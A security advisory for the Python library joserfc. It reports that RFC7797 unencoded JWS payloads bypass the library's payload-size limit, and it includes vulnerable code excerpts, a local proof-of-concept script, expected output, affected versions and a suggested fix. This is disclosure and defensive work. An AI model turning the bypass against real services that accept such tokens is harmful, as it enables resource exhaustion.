VDB
KO
MEDIUM 5.3

GHSA-wphv-vfrh-23q5

joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization

Details

# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization

## Summary

Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`.

The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`.

This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification.

## Affected Product

- Package: `joserfc` - Ecosystem: `pip` - Audited release: `1.6.5` - Audit tag: `1.6.5` - Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7` - Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5` - Fixed release: none known

## Vulnerability Details

In `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`.

The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:

```text if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment ```

The flattened JSON RFC7797 path has the same pattern:

```text payload_segment = value["payload"].encode("utf-8") if is_rfc7797_enabled(member.headers()): payload = payload_segment ```

Neither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload.

## Reproduction

The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior.

Requirements:

```bash python -m pip install "joserfc==1.6.5" ```

Run:

```bash python joserfc_rfc7797_size_bypass_poc.py ```

Self-contained proof script:

```python #!/usr/bin/env python3 import json

import joserfc from joserfc import jws from joserfc.jwk import OctKey

def check_compact(name, header, payload, key): token = jws.serialize_compact(header, payload, key) try: obj = jws.deserialize_compact(token, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), }

def check_json(name, protected, payload, key): data = jws.serialize_json({"protected": protected}, payload, key) try: obj = jws.deserialize_json(data, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), }

key = OctKey.import_key("secret-secret-secret") limit = jws.default_registry.max_payload_length payload = "A" * (limit + 1)

results = { "joserfc_version": joserfc.__version__, "default_max_payload_length": limit, "payload_len": len(payload), "compact": [ check_compact("normal_b64_true", {"alg": "HS256"}, payload, key), check_compact( "rfc7797_b64_false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key), check_json( "rfc7797_b64_false_json", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sort_keys=True)) ```

Expected output on `1.6.5` includes:

```json { "default_max_payload_length": 128000, "payload_len": 128001, "compact": [ { "case": "normal_b64_true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ], "json": [ { "case": "normal_b64_true_json", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false_json", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ] } ```

## Version Checks

I reproduced the same differential behavior on these releases:

| Version | Normal JWS over limit | RFC7797 `b64=false` over limit | | --- | --- | --- | | 1.3.4 | `ExceededSizeError` | accepted | | 1.3.5 | `ExceededSizeError` | accepted | | 1.4.2 | `ExceededSizeError` | accepted | | 1.6.2 | `ExceededSizeError` | accepted | | 1.6.3 | `ExceededSizeError` | accepted | | 1.6.4 | `ExceededSizeError` | accepted | | 1.6.5 | `ExceededSizeError` | accepted |

The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.

## Relationship to Existing Advisories

I found two related public advisories for `joserfc`, but neither appears to cover this root cause.

`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.

`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.

## Workarounds

Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.

## Suggested Remediation

Apply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / joserfc
Introduced in: 1.3.4 Fixed in: 1.6.7
Fix pip install --upgrade 'joserfc>=1.6.7'

References